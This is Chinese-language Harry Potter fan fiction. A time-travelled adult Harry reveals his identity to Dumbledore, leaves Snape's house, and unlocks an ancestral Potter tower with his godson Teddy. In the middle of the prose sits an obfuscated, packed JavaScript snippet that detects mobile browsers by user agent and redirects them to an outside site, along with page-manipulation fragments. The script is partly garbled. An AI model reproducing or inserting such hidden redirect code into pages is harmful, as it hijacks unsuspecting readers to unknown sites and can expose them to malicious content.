大致打量了下四周,破破烂烂的分院帽还是搁置在爪形桌脚的桌子后的搁架上,转过视角,门后的鸟架上站着一只火红的凤凰,已是衰老之姿,哈利知道这是频临涅磐的征兆。它歪着头,瞪大眼睛好奇地盯着哈利,眼神锐利且带着些惊奇,然后轻轻地鸣叫了一声。 “你好,福克斯。”哈利轻声说道,回头向办公桌看去——扎着蝴蝶结的白长胡子,掩藏在半月形眼镜后面的苍瞳敏锐而深沉,正神态安详地端详着他们——那个老人,不再是挂在墙上冰冷冷的画像,而是作为一个活着的人出现在他眼前。 赞美梅林,哈利由衷地感到欣喜和温暖,不可抑制的喜悦如同喷泉般涌上心头。 对于这个为了彻底击溃伏地魔而利用了许多人,可同时也牺牲了自己一切的老人,哈利曾经在心里责怪过,可如今的他只剩下理解与尊敬。邓布利多的确有着自己的私心,但那不是罪过。他最终无私地死去,仅凭这一点,就足以让哈利一如既往地敬爱他。 “您好,校长先生。”哈利笑容可掬地说,轻轻拉了下正被桌上奇形怪状的银器具迷住的泰迪。 泰迪乖巧地打招呼,“早上好,校长先生。”迎来邓布利多和善的笑容。“欢迎,年轻的先生们。要来一杯柠檬蜜么?我这里还有些巧克力蛙。” “好的,谢谢您。”哈利和泰迪在办公桌对面坐了下来。斯内普没有跟过来,而是默默地站在办公室阴影处一角,带着空洞洞的表情直视着前方。 哈利看着邓布利多巧妙地抹去眼里闪过的精光,挥手召出两杯柠檬蜜和一堆巧克力蛙,脸上依然带着波澜不惊的笑容。 毕竟和邓布利多打了七年的交道,哈利完全能注意到邓布利多温和的笑脸底下藏着多少警惕和防备。 果然是被防备了。哈利不在意地笑笑,人之常情,对于向自己这种来历不明的人不提防的就枉为邓布利多了。 哈利早已不是当年一脑子热血的男孩,现在的他看得很清楚,邓布利多待人处事往往过于谨慎,因此相对的坏处就是多疑。他在第一眼对上邓布利多时就想通了这点,若想以后得到他的帮助,把自己的来历和真实身份藏着掖着肯定是行不通的,反而以后会受到多方的阻碍也说不定。一方面,在巫师界有着极高威望,本身身为近世纪一位伟大巫师的邓布利多或许有能力为他解惑,甚至能帮他和泰迪回到原来的世界。另一方面,哈利想到老人可能会有的不信任他就感到悲伤。 “如果我没记错的话,西弗勒斯在信里说,你和这个孩子……毫无预兆的,出现在他家的坩埚里?”邓布利多的声音里带着一丝戏谑。 见鬼的斯内普,这么丢脸的事他怎么好意思拿出来告诉邓布利多?哈利朝天翻了个白眼。 “是的,先生。不过,咳咳,请相信我,这绝对是个单纯的意外。”哈利清了下喉咙,踌躇片刻后还是建议道,“唔,我想您肯定是有很多疑问。但我接下来说的话可能会有些匪夷所思,也许会不怎么容易让人接受。虽然我不是很喜欢用吐真剂,不过您确定不要我在回答您问题时用测谎盘么?” “哦,不,亲爱的孩子,我想不需要。”邓布利多的笑容真实了不少,哈利意识到邓布利多对他的称呼忽然变亲切了,“我想我能充分感受到你的诚意。” “那……好吧,”哈利摸摸鼻子,“在此之前,我能先问您几个问题么?如果您不介意的话。” “当然,我的孩子。” “您知道怎样穿越时间么?比如说,回到过去,或者,未来?”哈利决定直切主题。 “唔,孩子你真是给我出了个难题。”邓布利多稍稍敛起笑容,思考了一会儿,似乎在斟酌用词,“理论上来说,穿越时间,需要两个要素,只要具备了这两个要素,按理就能成功回到过去或者去到未来。” “两个要素?” “是的,魔力和媒介。”若有所思地看了哈利一眼,邓布利多接着说,“巫师是无法凭借自己的力量穿越时间的,所以一般来说他们会需要一个媒体来打开连接时空的隧道。(哈利忽然想起三年级时赫敏手上的时间回转器。)不过,这并不足够。媒介本身并不具有扭曲时空的力量,因此制作者需要在制作这个媒介时注入自己的魔力作为能量。而这就是我说的,魔力。” “也就是说,制作者的魔力越强,媒介在连接时空时就能把人送到更久远的年代?”哈利思索道,怪不得时间回转器只能最多让人回到两周前,是能量不足的问题吗?如此看来,那扇拱门大概也是个媒介? “很敏锐。”邓布利多赞赏地颔首,“当然媒介本身的容量也是很重要的,否则制作者的魔力再强大,媒介本身不足以容纳的话就白费了。说的简单,可惜据我所知,如此强大的媒介还未在历史上出现过。制作能穿越时空的媒介太困难了,成功率更是接近零,足以让许多有能力的巫师望而却步。” “那么,假设有人制作出类似的媒介,而有个人被它送回到过去的话,为什么会发现明明还是那个过去可偏偏又不是自己知道的过去呢?” 这句话其实很绕,但邓布利多听懂了,他满含深意的目光冷静而犀利,似乎能透视一切,“能成功穿越时空的巫师已是少之又少,但那种情况,我也是第一次听闻。”话说到这步,明眼人都该猜得出哈利他们的来历了。 “ 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难道福克斯认出自己了? 可‘过去’的福克斯怎么会认识‘未来’的自己呢? 哈利有些怔忪。 邓布利多仿佛看出他心里所想,亲切地解释道,“哦,不要怀疑凤凰的智睿。它们是十分神秘的神兽,我的孩子。只要是曾经和凤凰交换过契约的人,不管是以何种方式,也不管是何时,”他微垂下头,第一次让湛蓝的眼睛从镜片后露出来,“任何一只凤凰都能感应出来的,并且会对契约者抱着十分的好感。”他没说的是,也仅止于抱着好感的程度,会与契约者如此亲热的只有立下契约的那只凤凰本身而已。这也恰恰是邓布利多有所不解的。 原来如此。哈利释然,想起了自己20岁生日时,随着邓布利多的逝世也失去踪影的福克斯凭空出现在自己眼前,定下古老的契约的那一幕。 “顺带一提,凤凰是绝对高傲的神兽。千年来能和凤凰立下契约的巫师绝不超过个位数。我很好奇,如此年轻就能获得凤凰青睐的巫师,究竟是何许人呢?” 听邓布利多轻松的语调,他不仅是对哈利欣赏有加,甚至是卸下了大部分的防备。毕竟,代表着光明的凤凰是绝不会选择邪恶的黑巫师作为契约者的 闻言,哈利也不过是淡然一笑,一边轻柔地抚摸着福克斯的羽毛,一边心想要是邓布利多知道了和自己定下契约的凤凰就是他的契约凤凰福克斯本身的话,会不会惊得说不出话来? 想到此,哈利忍不住轻笑出声,随后面带真挚地抛下一只炸尾螺,“那么请让我先作下自我介绍,我是哈利·詹姆斯·波特。”他停顿片刻,眼角处的视线没有漏掉斯内普在听到他全名的霎那身体剧烈的一颤,“今年22岁,来自——您已经知道了——未来?唔,我不知道这个时代还有没有我,我是詹姆斯·波特和莉莉·波特的儿子。” 他很愉快地注意到,邓布利多的笑容凝固了。 从霍格沃兹回到蜘蛛巷,斯内普绷着惨白的脸,甚至没等跟在后面的哈利和泰迪从壁炉里出来,就疾步往起居室外走去。 “等等,斯内普!” 脚步蹭地停住了,但没有回头。 隐隐感到斯内普浑身的怒火,哈利万般无奈地叹气,他就知道会变成这样。搞了半天,斯内普对波特家的态度,根本是一点进步都没有嘛!反正历史一样是改变了,那让斯内普变得别那么别扭也好啊…… “我为对你一直隐瞒身份而感到抱歉,说真的,刚来到这里的时候我根本搞不清状况,怕一不小心说多了就会改变历史。我并不是故意瞒你的,对不起。”哈利再次叹了口气,“总之,这几天真的很感谢你。但我想,我和泰迪也不能一直这样打扰下去。” 沉默。 “戈德里克山谷附近有一栋波特家的古宅,我打算明天和泰迪一起搬过去。就这样……我只是想先跟你说一声。” 空气凝滞了几秒,斯内普再次迈开脚步,留下黑袍滚滚。 看来斯内普真的生气了。 莫名的,哈利觉得有些烦躁。他肯定哪里不正常了,真是见鬼了他才会去在意斯内普的想法。好吧,看在以前的他还算是勉为其难地保护自己的份上他忍了。哦,该死的! 倒是泰迪在一旁拉了拉哈利衣服的下摆,小脸满是失落,“搬出去后我们是不是就见不到西弗了啊?” “不会的。”哈利狠命甩甩脑袋,试图把脑内充斥的乱七八糟的想法统统甩出去,然后有点吃味的拍了拍泰迪的头,“斯内普以后可是你的魔药课老师。等开学了你尽可以在魔药课上缠着他,或跟着他去他地窖也没关系。”哈利幸灾乐祸地想,很是期待看到霍格沃兹满地的下巴,凭什么就得自己一个人吓掉下巴嗯?看那死蝙蝠以后还敢无视自己,真是越想越解气,想想未来在霍格沃兹的日子将多有趣,哈利豪迈地笑道,“要不要干脆考虑进斯莱特林学院?他可是院长哦?” 不过当他看到小泰迪两眼放光的兴奋样时,总算开始意识到自己刚刚是不是在把自己的教子往火坑里推了。 6. 睿瓦纳之塔 翌日,天才刚拂晓,还只有东边的那块天空隐隐有变蓝的趋势,哈利便已独自动身前往寻找波特家的古宅。 科洛斯山谷(注1)坐落在戈德里克山谷以东150公里左右处,说近不近,说远也不算远,尤其是对于能幻影移行的巫师来说更是可以忽略的距离。可是,若非当年和福克斯订立了契约,哈利可能一辈子都不会知道波特家还有这么一栋古宅。其实源远流长如波特家族,即使如今已凋零到只剩哈利一支独脉,至少几百年前仍是辉煌过的。而在那时代,明面上的宅邸不说,光是波特家出的一些有名的巫师的私人宅邸就不下十数套。可惜的是,这些宅邸一般都会被施予各种保护魔法,形式更是千奇百怪,所以除非指定了继承者,否则大部分私人宅邸往往会随着主人的逝去而永久关闭,甚至湮灭在历史的潮流里——一来没人找得到,二来找到了也进不去。 本来就对魔法界不甚熟悉的哈利也是很久以后才知道这些事情的——当他作为如今波特家唯一的后代,得到一幢波特家古宅的继承权之后。但即使如此,波特家很多不为人知的私宅,哈利别说没权利继承,他甚至不知道它们的存在。除了目前他正要去寻找的那一栋。 若说戈德里克山谷还是个有点人气的村庄,那科洛斯山谷就是座不折不扣的荒山,荒凉到只听到乌鸦不时悲鸣的不毛之地。好吧,还不算最坏,至少有点绿色。 哈利紧皱眉头,颇为无奈地看着周围零零落落、横七竖八地倒着的枯枝枯木,又走到另一边,伸出头往布满苔藓及藤类植物的峭壁下方望了望,深不可及——不禁满腹抱怨,拜前任主人所赐他得花好几天打理这里了。 罢了,总比没要来得好。现在的他既不敢堂而皇之的去住在波特家那栋公开的古宅里,古灵阁也没有哈利·波特的金库,身无分文的他实在没本钱挑挑剔剔的。 目光所及处并没有什么建筑物,只有在悬崖边不远的空地处围着一圈的石像。和四周荒废凌乱的感觉不同,石像圈中的空间却是枯叶都没有一片。应该是有魔法保护的关系吧,哈利暗自思量,宅邸的所在地看来就在这里,可能是被施了什么隐藏咒隐匿起来了。 雕像共有12座,摆放的方式对照钟表,在每一点的方向各放置了一尊。哈利一个个仔细看过去——石像与石像间相隔甚远,由此可见它们围起来的这块空地有多宽广——不时感叹一番,有好几个都曾在画像中见过,还有一些虽然是陌生的脸,但他猜测这些雕像应该都是以波特家最著名的巫师为原型的。 位于12点钟方向的那座雕像,是个神色庄重,长发随意扎成一束斜披在肩头,手臂上停着一只凤凰的年轻人,也是波特家800年前出过的一个人称具有天赐才能的巫师,及波特家有史以来唯一一个凤凰契约者,如果不算上哈利的话——特伦斯·波特。哈利最擅长使用的守护神咒就是他的发明(注2)——直接导致了从此摄魂怪被巫师压制了整整800年的结果——要知道,能自创魔咒的巫师无一不是无与伦比的天才。最重要的是,这栋宅邸就是他的。 待得哈利走完一圈,天已经开始朦朦发亮了。他走到空地的最当中,闭眼静静在那里站着,口里默念段段晦涩拗口的古魔文。当他念完最后一句魔文,再次睁开眼时,碧绿的眸子仿佛寄宿着火焰,并闪烁着奇异的光芒,他清楚地呼唤道,“福克斯。” 一阵悦耳的凤鸣自哈利体内发出,哈利的背部的衣服遮不住光芒似的被撑破,一只凤凰冲天而出。不是昨天在校长办公室看到的那只衰老的凤凰,而是年轻有活力的。 “好久不见了,福克斯。”哈利一瞬间露出温柔的笑容,接着正色道,“不好意思把你叫醒。不过,福克斯,我需要你的一滴眼泪。” 福克斯点点小脑袋,俯冲下来,轻巧的站在哈利的肩头,低下头,眨眨眼,在哈利准备好的小瓶子里留下了一滴眼泪。 见哈利盖上瓶盖,福克斯愉快地鸣叫一声,展开翅膀,准备再次回到哈利的体内。 “啊,等等,福克斯。” 福克斯停下动作,火红的眼睛奇怪地看着哈利,仿佛在问他还有什么事。 哈利笑了。“正好你出来了,能给我几个记忆画面吗?” 轻轻鸣叫。 “嗯,我想要关于莱姆斯和唐克斯的,最好是快乐点的记忆。” 了然地点头。福克斯飞离哈利的肩膀,拍打着翅膀,鸟喙中凝聚出一小团白色的光芒。随后它把那团白光扔下哈利,哈利伸手接住它,一翻手就没入了体内。 “谢了,福克斯。” 福克斯稍微往下降了些许,伸长脖子啄了一下哈利的头,然后身形慢慢变淡,凭空消失在空中。 哈利捂着头,对福克斯突如其来的暴力行为很是迷惑,叹着气随随便便给撕破的衣服施了个修复咒,把注意力转回到地面上。 他弯下腰,认真地扫视着地面,随后伸手抹去地上沉积的尘土,很快,一个刻在地上的、因为年代久远而有些模糊的凤凰标记显现出来,他嘴角上翘,“找到了。” 根据福克斯曾经教过他的方法,打开装着凤凰眼泪的瓶子,哈利咬破手指,把自己的血也滴了进去,盖上瓶盖,摇了好几下。等血与泪彻底混合后,再把它滴到凤凰眼睛的凹陷处,半是兴奋半是紧张的等着接下来会发生什么。 令哈利失望的是,宅邸并没有如预料中的出现,反而是他滴下去的血开始自动在地上沿着一定的轨迹蜿蜒流动,慢慢在凤凰标记的上方绘出了一句话 「使用睿瓦纳之焰」(注3) 哈利不自觉地念出声,感觉有些迷茫,哪位能好心告诉他——“睿瓦纳”是什么玩意? 他来来去去地念了好几遍这句无厘头的话,完全没头绪去哪里找什么睿瓦纳的火焰来用。 为什么开启个房子还得猜谜?哈利头痛地揉揉太阳穴。 也许“睿瓦纳”不是重点? 哈利干脆一屁股坐下来,右手撑着下巴,愣愣地发呆。 唔,既然出现了这句话,说明开启的人已经具备了继承资格——波特家的后代及凤凰契约者——哈利绝对相信福克斯的话,那么照理说应该不会出什么太困难的难题来特意为难人,还是说这是特伦斯的嗜好? 又盯了好一阵子,哈利好像忽然想到什么,一个挺身跳起来,把头转向四点钟的方向——那是一个二十几岁的女性雕像,哈利知道她是谁,菲洛米娜·波特,特伦斯·波特的妹妹,与其哥哥不同,据称是个默默无闻且魔力低到可以和哑炮媲美的巫师,除了特伦斯十分爱护她外,完全不受家族的重视,却在二十五岁的某一天无缘无故失去了踪影,从此再不可觅。 哈利走近菲洛米娜的雕像,若有所思地注视着她——双手捧着一个水瓶,雕像上的表情有些怯懦,还凝聚着挥之不去的淡淡哀愁。别的雕像都是波特家有名的巫师,为什么菲洛米娜的雕像也会在其中呢?因为这幢宅邸是她哥哥建造的关系吗? “火焰熊熊。” 哈利有些不确定的、轻轻说出咒语。 呼啦一声,菲洛米娜手中的水瓶口处忽然冒出一簇赤银色的火焰。随之,仿佛多米诺骨牌的连锁反应,以菲洛米娜的雕像为中心,其他雕像也接连冒出火焰,蓝、紫、橙、绿,每一簇都是不同颜色,最后连成了一片,煞是惊艳。 不等哈利有时间发出惊叹,脚下传来阵阵震动。哈利立刻醒悟过来,直接幻影移行到了石雕圈外。 所有雕像的火焰同时向里延伸,汇聚成白色的火焰,且越聚越高,一度耀眼得让人无法直视,直至良久才渐渐黯淡下去。当火焰彻底灭去后,哈利张大了嘴,这时候就算往他嘴里塞几只鼻涕虫他大概也会毫不犹豫吞下去——展现在他眼前的不是一幢宅邸,而是一栋塔楼! 也难怪哈利会如此惊奇。虽说当初被福克斯告知有继承这宅邸的资格,但也从未有过占有它的念头。哈利从来不是贪心的人,过去的他满足于自己的家,自己的小小生活,就算这宅邸是金子做的,他也不会因此垂涎。因此在此之前,他对这是一幢怎样的古宅可以说是毫无概念。而他曾去看过另一栋波特家的古宅,却是和普通的庄园没什么差别。 哈利轻松地吹了个口哨,这个惊喜也太夸张了。远看,纯白的圆柱形建筑,由石头砌筑而成,约十层高,只比格兰芬多的塔楼矮一些。外面是往上盘绕的、附有栏杆的石梯,直通顶层,屋顶则是不甚明显的拱形,镶满各色玻璃,在晨光中透着点点亮光。近看,石梯外墙都雕刻着浮雕,哈利眼前的就是一只昂首怒吼的狮鹫,再转过去点居然是条美人鱼,浮雕上所刻的无一不是神奇的魔法生物。可惜因长年的废置,许多浮雕的腐朽不堪却留下了不少遗憾。 他转了一圈转到大门口,门框是橡木做的,顶上横钉着一块长方形的铜牌,印在上面的几个字剥蚀了不少,哈利眯着眼仔细盯了很久才勉强看清。 「睿瓦纳之塔」 哈利猛地瞪大双眼,原来“睿瓦纳”是指这栋塔吗? 迟疑了一下,哈利没有径直拉起门上的铁环进入塔里,而是选择从外围的石梯先走上顶层去看看——他总觉得玻璃的屋顶并不如外表看起来那么简单,反而是散发出某种奇异感,也许里面隐藏了什么秘密——而哈利对自己的直觉一向是很有自信的。 哈利沿着石梯一步步往上走,享受着不时迎面吹来的凉风的舒爽感。当他终于走到尽头,没想到迎接他的不是一扇门,而是一面墙。 哈利摸摸厚实的墙,有些愣怔,没有门?难道顶层得从塔里面进去?有些不耐地,他干脆直接施展幻影移行,一开始就该这么做了,哈利嘀咕着。 出乎意料的,顶层的房间竟然是空荡荡的,除了插在墙上的熄灭的火把,大概就只有那些七彩玻璃算得上是唯一的装饰。哈利注意到,房间里面也没有可以作为出入口的门。 奇怪的房间。他下结论。 一束束红艳的晨光斜斜地从玻璃房顶照射进来,经过各种色彩的渲染,本来空荡的房间因此而五彩斑斓,地上的光斑变幻成美丽的图案,成为一幅奇特的光景,美不胜收。 然而下一刻,哈利就彻底被眼前的情景惊得张口结舌了。 宛如幻觉般,正上空忽然幻现出一个半跪着的少女,长长的黑色卷发自然披散着,半透明的身姿因浑身环绕着银色的光晕而显得模糊不清,宛如神祗般的神圣。但哈利还是轻易认出了她——她就是那十二尊雕像中的第四尊,菲洛米娜·波特。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156344|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 哈利不知道为什么她的幻影会出现在这里,现在的发展已经完全不是他可以掌握得了的。只见她双手扶着一半透明的水瓶,搁在右肩,表情十分虔诚地双手微抬瓶身——从瓶口中流淌出的,不是水流,而是闪耀着点点光芒的、赤银色的焰流。明明该是愉快跳跃的火焰,此时却不骄不躁,不露锋芒,汩汩而流,反而如一股清流给人以清冷感。随之缓缓而出的,是一段八音盒旋律,丝丝哀怜渗透的叮铃声,仿佛在心头敲打,哈利心神一晃,莫名的悲伤随同火焰的流动一缕缕地缠绕上他的身体。接着他不可思议地瞪大了双眼——伴随着低低的吟唱声,一小撮一小撮的火焰脱离焰流,在空中组成句句的文字,又在须臾间湮没在赤银色的烟雾中。 操纵时间的畏惧 支配命运的恐惧 汝想让 「过去」孕育「未来」 还是想 「过去」覆灭「未来」 二择其一 吾将赐予汝永恒的时间 半透明的少女垂下视线,本来空洞的眼睛如同忽然进驻了灵魂般,闪烁着银光,蕴含着忧郁。她看似在注视着哈利,又好像只是穿过他望向虚渺的远处,低低的一声吟叹,缥缈的声音在空气中回荡,却不啻于一声惊雷,“又一个从未来回来的,波特家的孩子……” …… 哈利像块木桩似的呆呆站在原地,他的头转不了,他的身子动不了,他的嘴说不出话,说不定连想死也做不到,他痛苦地想到。 可是,他现在真的想去死。 他拼命忍耐,可仍是克制不住地那种震惊的苦楚,心像被一根魔杖在捣鼓着,就快支离破碎面目全非了。即使是当年被伏地魔钻心剜骨也不能和此刻感觉到的痛苦相比较。 他为什么要该死的像个典型的格兰芬多那样对顶楼感到好奇呢?只要在踏上石梯那瞬间调转脚步,或者没有幻影移行进来,那么他就能永远被蒙在鼓里,那么他至少还能抱着点希望。 为什么那个人要告诉他事实呢?她自己玩弄的还不够吗? 真的,这种真相,他一点也不想知道。 哈利心中惨笑。原来,自己以前的人生都白活了,或者说,如玻璃般不堪一击。 片刻的记忆闪现仿佛打开了不该打开的潘朵拉之盒,哈利觉得自己再也忍受不住了,他双手抱头,死命咬住想要脱口而出的尖叫,不敢置信、震惊、恐惧、后悔、震怒、悲伤,心底种种感情陡地一股劲往上冲,脑中迸发出一阵激烈的刺痛,在不可抑制的疯狂中,他只剩一个念头,若能把这里毁去就好了! “哈利!” 然后就像是火被忽然熄灭,哈利眼睛里蒙上混沌,意识沉入了黑暗。 …… 睁开眼睛,思维呆滞了数秒,哈利无意识地对着头顶的玻璃屋顶眨了眨眼。天已经大亮,大片的阳光铺散而入,透过玻璃的折射,显得五光十色的同时亦过于炫目。他下意识地捂眼挡住光线,待慢慢适应了,才缓缓移动自己的视线,顶层仍是空无一物,除了半球形的琉璃屋顶就没有其它更值得关注的地方。 哈利撑起身体,晕眩感使得眼前一阵发黑。甩甩头让自己更清醒些,他手一用力站起身来,带着些茫然地环视一周,疑惑地歪头自言自语道,“奇怪,我怎么会在这里睡着了?”随之又释然,伸了个大懒腰,“唔……大概是睡眠不足太累了吧。”不禁露出幸福的笑容,“都是泰迪害的,昨晚不讲足3个故事就不肯放过我。他干嘛不干脆找斯内普讲故事给他听?”这么说着,脑中浮现出斯内普绷着个脸拿着本故事书一本正经讲故事的情景,情不自禁打了个冷战——让斯内普讲故事?他大概是睡迷糊了。 说到斯内普,今早他离开的时候发现实验室里还亮着,难道那家伙一晚上没睡在做魔药?说来他明明对制作魔药那么热衷当初干嘛一个劲地申请教黑魔法防御术课?不对,斯内普睡不睡觉关他什么事。还有他怎么最近变得三句话不离斯内普了? 梅林的胡子,告诉他他现在脑子混乱了吧。 没有作更久的停留,哈利幻影移行出顶楼房间,回到了塔楼的大门外,仰头看向顶层,心里有点失望。顶楼根本没什么特别的,看来是自己之前太神经兮兮了。可是,脑里有个小小的声音在悄声说,“不要再进这个房间,在你做好准备面对更多真实之前……” ========================= 注 1.科洛斯山谷,此山谷取名自希腊语καιρ?σ,意为“时间”。 2.守护神咒的发明者是本文中的杜撰,请勿带入原作。 3.使用睿瓦纳之焰,UseFlameofRevera,取每个单词首字母,再调整顺序则得出“four”,即点燃四点钟方向的石雕像手中的水瓶。其实是个颇为笨拙的小把戏,徒增乐趣而已。 4.睿瓦纳之塔,TowerofRevera,Revera改自拉丁语Revera,原意为“真实”,即此塔为“真实之塔”。 5.我写这段文字的时候是放着这段背景音乐应景的,结果越写越悲|||有兴趣的可以听听。在 作者有话说里面。 7. 斯内普=美丽? 待得哈利终于把整个塔楼探索完毕并重新清洁修整一番,再把泰迪接来新家时,已是临近傍晚时分。 意料之中,他连斯内普的影儿都没见着。说不清是不是松了口气,哈利只是留了张字条在起居室的桌子上,便带着泰迪直接幻影移行到了睿瓦纳之塔的外围。 不愧为波特家天才巫师特伦斯的宅邸,睿瓦纳之塔毫无疑问被施上了重重的保护咒,比之霍格沃兹的防御措施也是有过之而无不及。其中就包括一旦开启此塔,就等同于与现塔主——即哈利订立了赤胆忠心咒的契约;且除了塔楼主人外任何人不得在石雕圈范围内幻影移行等好几项。若哈利独自幻影移行自然不会受到任何限制,但如今带着泰迪一起移行的他,显然就享受不到这种特权了。 “哇,好棒!”走进塔里,泰迪情不自禁发出一声大大的惊叹。他从刚才起就兴奋得满脸通红、蓬松的卷发更是泛着明快的橙红色。 塔楼是中空的,每一层的房间都在居于四周,正好12个房间围了一圈,其方位各自对应着塔外的12座石雕。层与层之间各有相通的楼梯,而塔底处的楼梯则是可以依据使用人的意志自由移动到各个楼层。比方说,现在哈利和泰迪就站在塔底中央的楼梯上,随着哈利一声“泰迪的房间”,楼梯顶端开始朝6点钟方向移动,同时,在泰迪惊讶地注视下,阶梯震动着离开地面,如同被施展了漂浮咒一般缓缓向上升。泰迪只是伸头往下面瞄了一眼,就立刻缩回来,往哈利身边又挨得更近些,双手紧紧攥着哈利的衣角,浑身僵硬地一动也不敢动,直至阶梯把他们送到八楼,他才放下心来,仿佛刚刚经历了多么了不起的大事似的,小手夸张地拍拍自己的胸口,重重地呼出口气。 看着泰迪雀跃又紧张、恨不得多长几只眼睛的模样,哈利哈哈大笑——当年他初进魔法世界的时候似乎也好不到哪儿去。他拍了下泰迪的背部,带着些想邀功的得意,轻声对泰迪说,“来,去看看你的新房间吧。会有惊喜的。” 其实,在整理出他和泰迪各自的房间的时候,哈利所做的也就是用了几个清洁咒,外加一些变形咒——毕竟家具虽然陈旧,但都是现成的。可他却在布置泰迪的房间方面额外花了些小心思。 所以,当泰迪满怀期待的心情推开房门后,跃入眼帘的是布置得与他以前房间别无二样的卧室——房间的主色调是淡金色,并掺着一些红色的装饰;除了必备的床等家具,诺大的房间里还随处摆置了不少精致的小玩意——几乎都是哈利在别的房间里搜刮过来的——诸如手工精巧的水晶仪器、用不知名怪石做出的玩器等等。房间的窗口面向悬崖一边,远远的是望不到尽头的苍葱树林,隐隐约约还能望见泛着点点碧光的湖泊。 “觉得怎么样?”哈利站在他侧背后,弯腰把脸凑近,笑眯眯地问道。 “哦,哈利!我爱你!”泰迪搂过哈利的脖子,在他脸狠狠啵了一口,随即欢叫着在房里横冲直撞起来。 哈利双手环抱胸前,斜靠着门框,脸上挂着满足的笑容,爱怜地看着泰迪在房里到处转悠、这里摸摸那里玩玩。待到觉得他该差不多尽兴了,才走向正在捣鼓玩器的泰迪,手关节敲了下他的头,淡然道,“泰迪,过来这边,我给你看样东西。” 泰迪奇怪地仰头看看哈利,没多说什么,放下手中的玩意就跟了过去。 哈利把他带到房间的另一边,拉起墙上挂着的金红色帷幔。 泰迪的视线定住了。 他久久地凝视着前方,一瞬,又有些不知所措地移向哈利,灰色的眼眸里闪烁着水光,简直不像是孩子的目光,仿佛在询问着哈利。 哈利也正平静地看向墙壁,注意到泰迪的视线,他回过头,扬起狡黠的笑容,“以前家里的都没带过来,我只好现做了。一个小魔法,可以用我自己记忆里的画面做出来这些。虽然中途出了点小问题,画面都动不了了。”他有些不好意思地搔搔后脑勺,在泰迪的身边蹲下,这样他可以直视泰迪的灰眼睛,“我想,你应该会喜欢的。” 泰迪晶亮的眼睛眨巴了几下,又转回墙壁方向——墙上挂着好几幅相框,里面放置的照片都是他父母的。哈利记忆中的卢平是灰白的头发、因为总是找不到工作的原因,他身上永远穿着那身破破烂烂的长袍,所以在泰迪正前方的那张就是一个这样的卢平在对他温和地微笑。还有唐克斯,就如哈利第一次见到她时,活泼而可爱,精力十足,找不出一丝傲罗应有的正经样子。哈利看到他们在一起的时间反而很少,所以合照只有唯一的一张,他们相依而偎,脸上都是幸福的笑容。即使在现实中短暂得转瞬即逝,但在哈利的记忆里却永远保存了下来,如今,又被转移到眼前的照片里。泰迪近乎贪婪地抚摸着每一张照片,即使在以前的家中,不说唐克斯的,卢平的照片却是极少的。良久,他回过身,毫无预兆地伸出手,紧紧地搂着哈利的脖子。 哈利轻轻拥抱泰迪,脸部线条一瞬间都变得柔和起来。 “哈利。”泰迪松开了点环着哈利脖子的手,抬起头,眼睛红红的,“可以和我讲讲爸爸妈妈的事吗?他们为什么要丢下我死了呢?” 哈利动了动嘴唇,想挤出一个微笑,最后还是失败而作罢,仅是微微叹了口气。 果然,这孩子长大了。 哈利发现眼前的孩子,从小被外祖母带大,会对喜欢的人亲昵热情,但更多时候总是乖巧微笑的孩子,第一次如此清楚地把他的孤独和无助表现出来。就算有着自己这个教父,也许,他还是更渴望能得到亲生父母的疼爱。恍恍惚惚地,哈利忆起了自己曾经在厄里斯镜中看到的,自己心底最渴望的东西 泰迪小时候时,哈利他们并没有告诉他太多关于那次战争的事。那种残酷的战争,及悲哀的事实,不是一个孩子快乐的童年所需要的。他的想法是,等这个孩子长大后,想知道了,他会自己来问他的。 因此,当哈利察觉到泰迪不仅是外表,甚至心智也在来到这里后的短短几天内迅速成长后,他潜意识里就觉得这一天不远了。 哈利双手搭上泰迪的肩膀,正色道,“泰迪,你想问什么,我都会告诉你。”他顺了顺孩子额前下垂的卷发,接着说,“但是我希望你能知道,你的父母都是勇敢的人,和他们有多么的爱你。你是他们的珍宝,我永远也忘不了你出生后莱姆斯让我做你教父时的情景,我从没见过他那么欣喜若狂的样子。而他们豁出性命去战斗,不是为别的,是为了给你创造出一个和平快乐的世界。你该以他们为荣。” 泰迪静静地听着,一言不发,连头发颜色也仿佛褪了色一般有些惨淡。 “你看,你继承了祖父的名字,父亲的样貌,母亲的能力,既聪明又坚强,他们也会为你感到自豪的,泰德·莱姆斯·卢平。” “他们会吗?” “当然,你会是他们的骄傲,泰迪。” “他们怎么知道呢?” “因为他们一直在看着你,我保证。”哈利笑着说。是的,就像他的父母也一直在看着他一样。 这次泰迪绽开了笑脸,头发的橙红色也再次明亮起来,单纯又充满色彩。 这天接下来的时间,在泰迪的房间里,毫无隐瞒的,哈利把当年的事原原本本的叙述出来。包括伏地魔挑起的战争,哈利的一些经历;三年级时,卢平成了哈利的黑魔法防御课老师,教会他守护神咒;他后来发现卢平是自己父亲和教父的好友,也是个狼人;卢平帮了他很多,唐克斯也是;他们两个通过凤凰社认识后相爱,卢平曾经痛苦和犹豫过;哈利和卢平曾经为了未出生的泰迪而起过争执,可再次相遇后哈利成了泰迪的教父;最后卢平和唐克斯一起勇敢战斗,直至死去。也许泰迪不能完全理解,但他很认真地听着,时不时用手臂挡住自己的脸小声啜泣一会儿。哈利并没有去安慰他,只是停下来,静静地等他擦干自己的眼泪,然后再接着说下去。 哈利甚至把他们现在所处的境况也都一五一十说了出来,当泰迪听到这个时代的伏地魔和食死徒都还存在的时候,他猛地挺胸仰头,大声宣布道,“我绝对不会放过伏地魔和杀了我爸爸妈妈的食死徒的!” 哈利随即赏了他一个爆栗,“魔杖都还没呢就在这里说大话。” 泰迪缩了缩脖子,捂着自己的脑袋,不服气地嘟哝着,“我很快就会有了。” 哈利忍俊不禁,他内心复杂又欣慰地看着眼前的孩子——没有被仇恨污染心灵,依然是纯粹而耀眼。这个孩子以后会蜕变的,如同他父亲一样,成为一个坚强勇敢的巫师。 